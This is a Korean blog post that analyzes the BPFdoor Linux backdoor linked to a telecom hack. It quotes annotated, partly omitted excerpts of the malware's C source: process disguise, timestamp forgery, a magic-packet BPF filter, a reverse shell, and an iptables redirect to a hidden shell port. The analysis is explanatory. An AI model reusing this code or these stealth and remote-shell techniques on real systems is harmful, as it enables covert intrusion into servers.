시작하며
참고
https://www.youtube.com/watch?v=x4EzVtu_zEE - 널널한개발자 TV
https://zdnet.co.kr/view/?no=20250428163730 - ZDNET Korea 기사
https://www.boannews.com/media/view.asp?idx=137089 - 보안 뉴스 기사
https://ddaily.co.kr/page/view/2025042415081342414 - 디지털 뉴스 기사
최근 대한민국이 한 통신사의 해킹 사건으로 인해 뜨겁다.
이에 관해 기사나 여러 매체를 통해서 접한 소식들을 요약해보자면...
1. "트렌드마이크로"라는 글로벌 보안 기업의 보고서에서 한국 통신사에 대한 BPF 도어 공격이 있었다는 내용이 나옴.
2. 때마침 SKT가 HSS 서버(인증서버)가 해킹 당했다는 사실을 알림. (BPF 도어라고 아직까지 공식적으로 발표 하진 않았으나, 사람들은 합리적 의심으로 BPF 도어 방식으로 유추 중임.)
3. HSS 서버에는 통신사 고객을 구분하는 키 값들이 존재함 (IMSI, Ki 등...)
4. ㅈ 됨.
여기서 이 BPF 도어는 오픈소스로 공개되어 있으며, 이로 인해 더욱 논란이 불거졌다.
여기서 BPF 도어가 도대체 뭐길래 비정상적인 통로이기 때문에 보안 관계자들이 쉽게 발견할 수 없었다는 걸까?
난 보안쪽으로 지식이 뛰어난 것도 아니고, 악성 코드들을 접해본 경험도 전무하지만, 도대체 뭐때문에 감지가 어려웠다는건지 궁금했고 마침 코드도 오픈소스라길래 직접 해당 악성코드(C로 작성 됨)를 보게 되었고, 나는 C를 학부 1학년때 이후로 다뤄본 적이 거의 전무하기에 스승님을 찾아가 여러가지 내용을 여쭈어 보며 알게된 내용들이 흥미로워 글을 작성해보게 되었다.
BPF(Berkeley Packet Filter)
BPF door의 BPF는 "버클리 패킷 필터"의 약자로, 원래는 특정 유형의 트래픽을 필터링 해서 감지할 수 있도록 하는 도구다. 즉, 네트워크 트래픽을 분석하고, 꼬롬한 녀석들을 빠르게 감지하고 잡을 수 있도록 하거나, 내가 필요한 트래픽만 처리하도록 하고싶을 때 유용한 녀석이라는 말이다. 대부분의 유닉스 계열의 OS에서 제공하는 기능이다.
가장 쉬운 예시로 Wireshark 같은게 이 BPF 기술을 활용해서 동작한다. 기존에 우리가 네트워크 통신을 하기 위한 소켓기반 통신을 하는것이 아니라, 커널 레벨에서 다른 체계를 사용해서 패킷을 감지하고 가로채는 것들이 가능한 것이다. (페킷 스니핑)
BPFdoor
위에서 언급한대로, Github 에서 오픈소스로 공개되어 있는 소스코드 원본을 확인할 수 있다.
BPFDoor/bpfdoor.c at main · gwillgues/BPFDoor
BPFDoor Source Code. Originally found from Chinese Threat Actor Red Menshen - gwillgues/BPFDoor
github.com
BPF 도어는 이러한 BPF 기술을 활용한 악성코드(백도어)로, 커널단에서 특정 패킷들을 가로채 쉘 권한을 획득 할 수 있도록 해주는 방식으로 동작한다. 동작 흐름을 요약해보자면...
- 프로그램 초기화 (프로그램 실행자의 권한 확인, 프로세스 위조, 중복 실행 방지 등...)
- BPF 기술을 활용해서 공격자의 패킷만을 가로챈다.
- 비밀스러운 랜덤 포트로 원격 쉘 리스너 소켓을 열고, 쉘 프로세스(fork)를 만든다.
- NAT 설정을 통해 공격자가 평범한 포트(원래 사용하는 안전한 포트)로 들어왔을 때 비밀스러운 포트로 가도록 포워딩 한다.
여기서 핵심은, 공격자의 패킷만 가로채서 포트를 리다이렉션 처리한다는 것이다.
이렇기 때문에 보안팀 입장에서는 의심스러운 포트를 listen중인게 있는지 스캔을 한다 하더라도 별도 이상징후가 감지되지 않기에 탐지가 어려운 것이다.
그럼 이제 공개된 BPFdoor의 코드레벨에서 단계별로 살펴보자. (틀린 내용이 있을수도 있으니 100% 믿지는 말아 주십쇼...)
1. 프로그램 초기화 (프로그램 실행자의 권한 확인, 프로세스 위조, 중복 실행 방지 등...)
int main(int argc, char *argv[])
{
// 생략...
// 중복 실행 방지
if (access(pid_path, R_OK) == 0) {
exit(0);
}
// 루트 권한 확인 (악성코드 실행에 필요한 시스템콜들은 루트 권한이 필요하기 때문.)
if (getuid() != 0) {
return 0;
}
if (argc == 1) {
if (to_open(argv[0], "kdmtmpflush") == 0)
_exit(0);
_exit(-1);
}
// 실행 파일 타임스탬프 위조 (실행 파일의 시간을 과거로 변경해 탐지를 어렵게 함.)
setup_time(argv[0]);
// 프로세스의 이름을 "dbus-daemon --system" 으로 위조
set_proc_name(argc, argv, cfg.mask);
// daemonization 진행 (부모 프로세스 종료 + 자식 프로세스 세션 리더 지정)
// 이로서 기존 터미널에서 로그아웃하거나 세션이 닫혀도 데몬처럼 계속 살아남음
if (fork()) exit(0);
init_signal();
signal(SIGCHLD, sig_child);
godpid = getpid();
close(open(pid_path, O_CREAT|O_WRONLY, 0644));
// 핵심 로직인 packet_loop()로 진입
signal(SIGCHLD,SIG_IGN);
setsid();
packet_loop();
return 0;
}
위 부분들은 프로그램의 시작단계인 main() 함수이다.
바퀴벌레 마냥 프로세스를 은밀하게 숨기기위한 여러가지 행위들이 포함되어 있고, 프로세스의 데몬화 후 핵심 로직인 packet_loop()로 이동한다.
2. BPF 기술을 활용해서 공격자의 패킷만을 가로챈다.
void packet_loop()
{
// 생략
// BPF 프로그램 정의
struct sock_fprog filter;
struct sock_filter bpf_code[] = {
{ 0x28, 0, 0, 0x0000000c }, // LDB [12] — 이더넷 EtherType 로드
{ 0x15, 0, 27, 0x00000800 }, // JEQ 0x0800, IPv4가 아니면 27줄 스킵
{ 0x30, 0, 0, 0x00000017 }, // LDB [23] — IP 프로토콜 필드 로드
{ 0x15, 0, 5, 0x00000011 }, // JEQ 17, UDP가 아니면 TCP/ICMP 검사로 스킵
{ 0x28, 0, 0, 0x00000014 }, // LDB [20] — UDP 페이로드 flag 오프셋 로드
{ 0x45, 23, 0, 0x00001fff }, // JGE 0x1fff, magic flag 검사
/* … 이어지는 password·port·IP 매직 값 비교 … */
{ 0x6, 0, 0, 0x0000ffff }, // RET 0xffff — 조건 통과: 패킷 전체 반환
{ 0x6, 0, 0, 0x00000000 }, // RET 0x0 — 조건 불통과: 커널 단계에서 드롭
};
filter.len = sizeof(bpf_code) / sizeof(bpf_code[0]);
filter.filter = bpf_code;
// 소켓 생성 (NIC에서 이더넷 프레임 가져올 소켓임)
if ((sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))) < 1)
return;
// SO_ATTACH_FILTER를 사용해 위에서 만든 BPF 프로그램 커널에 붙이기
if (setsockopt(sock, SOL_SOCKET, SO_ATTACH_FILTER, &filter, sizeof(filter)) == -1) {
return;
}
while(1) {
// 위 필터에 필터링 된(특정 magic_packet이 포함된)패킷 도착 시 프로토콜 별로
// 매직 패킷 구조체를 설정 (TCP, UDP, ICMP)
r_len = recvfrom(sock, buff, sizeof(buff), 0, NULL, NULL);
ip = (struct sniff_ip *)(buff + 14);
size_ip = IP_HL(ip)*4;
switch (ip->ip_p) {
case IPPROTO_TCP:
tcp = (struct sniff_tcp*)(buff + 14 + size_ip);
mp = (struct magic_packet*)(buff + 14 + size_ip + TH_OFF(tcp)*4);
break;
case IPPROTO_UDP:
udp = (struct sniff_udp*)(buff + 14 + size_ip);
mp = (struct magic_packet*)(udp + 1);
break;
case IPPROTO_ICMP:
pbuff = (char*)(ip + 1);
mp = (struct magic_packet*)(pbuff + 8);
break;
}
if (mp) {
// magic_packet의 파싱이 끝났다면 자식 프로세스 생성 후... (생략)
// 해당 magic_packet을 활용해 인증 처리를 진행
rc4_init(mp->pass, strlen(mp->pass), &crypt_ctx);
rc4_init(mp->pass, strlen(mp->pass), &decrypt_ctx);
cmp = logon(mp->pass);
// 인증 처리 결과에 따라 동작을 분기 (여러가지 방법 활용 가능)
switch(cmp) {
// NAT/iptables 룰을 꼬아서 별도 포트를 직접 listen 하지 않고 shell 접속 가능
case 1:
strcpy(sip, inet_ntoa(ip->ip_src));
getshell(sip, ntohs(tcp->th_dport));
break;
// 리버스 shell 방식으로, 공격자에게 피해자가 먼저 연결을 열어 줌.
case 0:
scli = try_link(bip, mp->port);
if (scli > 0)
shell(scli, NULL, NULL);
break;
case 2:
mon(bip, mp->port);
break;
}
exit(0);
}
}
close(sock);
}
공격자는 Magic Packet 이라는것을 포함시켜 공격 대상으로 패킷을 보내고, BPF를 활용해 받은 패킷들 중에 특정 조건들을 만족하는 패킷들만을 감청한다. (매직 패킷 이외의 트래픽은 모두 커널레벨에서 버려 버리기때문에 공격자의 지시가 오기 전까지는 아무것도 안한다.)
이렇게 가져온 패킷들에 포함된 Magic Packet을 사용해 인증 처리를 진행하고, 인증 처리를 통해 나온 값을 기준으로 동작을 분기한다.
- shell로 가는 통로(포트)를 포워딩 해주는 방식 (1번)
- ReverseShell 방식으로 attacker 에게 victim이 직접 쉘을 열어주는 방식 (0번)
- 인증 실패로 인한 단순 ACK 패킷 반환 (2번)
Magic Packet이 뭔데요?
WoL(Wake-on-Lan) 이라는 원격으로 PC를 부팅하는 기술이 있는데, 이러한 기술에서 사용되는 패킷이다.
WoL을 사용하면 PC가 종료된 상태에서도 LAN 카드는 신호를 감지를 하고있다가 특정 Magic Packet이 들어오면 컴퓨터를 부팅시켜 준다.
이러한 WoL 기술을 사용하기 위한 정보가 Magic Packet으로, 16진수 (FF FF FF FF FF FF) 뒤에 컴퓨터의 Mac address를 16번 나열한 102Bytes 짜리 패킷이다.
3. 비밀스러운 랜덤 포트로 원격 쉘 리스너 소켓을 열고, 쉘 프로세스(fork)를 만든다.
int b(int *p)
{
int port;
struct sockaddr_in my_addr;
int sock_fd;
int flag = 1;
// TCP 소켓 생성
if ((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
return -1; // 실패 시 -1 반환
}
// 포트 범위(42391–43390)를 순회하면서 사용 가능한 포트 검사
for (port = 42391; port < 43391; port++) {
my_addr.sin_port = htons(port);
// 이미 사용 중인 포트면 실패 → continue
if (bind(sock_fd, (struct sockaddr *)&my_addr, sizeof(my_addr)) == -1) {
continue;
}
// 성공하면 호출자에게 포트 번호 및 리스닝 소켓 디스크립터 반환
if (listen(sock_fd, 1) == 0) {
*p = port;
return sock_fd;
}
return -1;
}
int w(int sock)
{
// accept() 함수를 통해 새 소켓 디스크립터 생성
if ((sock_id = accept(sock, (struct sockaddr *)&remote_addr, &size)) == -1) {
return -1;
}
// 더 이상 새 연결은 받지 않음
close(sock);
// 아까 만든 새 소켓 디스크립터 반환
return sock_id;
}
위 코드에서 b() 함수는 사용 가능한 포트를 탐색하여 소켓을 생성하고, w() 함수는 해당 포트를 사용하여 TCP 접속을 가능케 해주는 역할을 수행한다.
이 함수의 호출부는 아래 서술할 getshell()에서 사용된다.
4. NAT 설정을 통해 공격자가 평범한 포트(원래 사용하는 안전한 포트)로 들어왔을 때 비밀스러운 포트로 가도록 포워딩 한다.
void getshell(char *ip, int fromport)
{
int toport, sockfd;
char cmd[512], rcmd[512], dcmd[512];
// 사용할 포트 + 소켓 내놔 ㅋㅋ
sockfd = b(&toport);
if (sockfd < 0) return;
// iptables 설정을 조작해 공격자가 안전한 포트로 들어오면 비밀스러운 포트로 리다이렉트 처리
snprintf(cmd, sizeof(cmd),
"/sbin/iptables -t nat -A PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d",
ip, fromport, toport);
system(cmd);
sleep(1);
// 해당 소켓을 사용해 새롭게 생성된 소켓 디스크립터(TCP 커넥션) 내놔 ㅋㅋ
sock = w(sockfd)
// 비밀스러운 포트로 리다이렉션 되어 열린 소켓에다가 쉘 실행
shell(sockfd, /*cleanup-cmd*/rcmd, /*remove-rule-cmd*/dcmd);
}
int shell(int sock, char *rcmd, char *dcmd)
{
// 전달받은 인자들을 기준으로 쉘을 실행
// select()기반(I/O Multiplexing) 입출력 루프 수행
// 추가적인 쉘 종료 처리...
}
getShell() 함수에서 위에서 언급했던 b(), w() 함수들을 활용해 포트 + 소켓을 생성하고 이 과정에서 선별된 포트로 공격자가 리다이렉션 될 수 있도록 처리한다.
어떠한 서버가 443번 포트를 기존에 개방해둔 상태라고 가정하자. (고객들의 요청을 처리하는 포트)
1. 공격자도 정상적인 사용자들과 마찬가지로 443번 포트로 왔지만 앞선 BPF에서 필터링이 되고
2. iptables 설정을 통해 비밀스럽게 리스닝 중인 포트로 리다이렉션 되기에
3. "포트가 열려있다" 라는 흔적을 남기지 않는다. (netstat 같은걸로 안잡힘...)
바로 이 부분이 탐지를 어렵게 하는 부분으로 보인다.
평소에는 아무것도 안하고 있다가, 공격자가의 요청(Magic Packet이 포함된)이 감지되면 그때서야 소켓을 생성하고 포트를 여는 아주 더럽고 치사한 놈이다.
일반적인 포트 스캐너는 SYN 패킷을 보내고, SYN-ACK를 받으면 그제서야 "아, 이 포트는 열린 포트구나" 라고 판단한다.
반대로 SYN 패킷을 보냈는데, RST 응답을 받으면 닫힌 포트로 간주하는 것 이다.
하지만 BPFdoor는 일반적인 TCP 스택을 사용하는 것이 아닌 더욱 하위계층에서 패킷을 낚아 채서 처리하는 형태로 동작하기에, 기존 리눅스 커널 TCP 스택과 별개로 동작하고, 애플리케이션 레벨에서 직접 listen(일반적인 포트 개방) 없이도 TCP 연결을 수립할 수 있다.
위 모든 과정을 통하여 해커는 포워딩 된 포트에 접속을 성공하게되고 이로서 피해자 PC의 원격 쉘을 제공받는다.
원격 쉘을 제공받은 순간부터 해커가 시도해볼 수 있는 것들은... 엄...
결론
Low-Level 한 코드를 보면서 분석을 해보니 그동안 내가 해온것들은 추상화에 추상화에 추상화를 거친 인터페이스단을 조작하는 것에 불과했다는 것이 마구마구 느껴지는 하루였다. 편하게 개발할 수 있는 시대에 태어나서 너무 감사하다... (1세대 개발자들 당신들은 어떤 세상을 살아온겁니까... ㅠㅠ)
최근에 면접 준비를 하면서 OS 공부를 다시금 하고 있는데, OS 공부를 좀 하고나서 봐서 그런지 더욱 재미있는 시간으로 느껴졌다.
오늘은 잠들기 전에 전 세계에있는 보안 담당자 분들께 위로의 기도를 올리고 자야겠다.
'Computer Science > Security' 카테고리의 다른 글
CSRF, XSS 완전 정리 (0) | 2025.03.28 |
---|---|
인증(Authentication)과 인가(Authorization)의 개념에 대해 (2) | 2024.01.04 |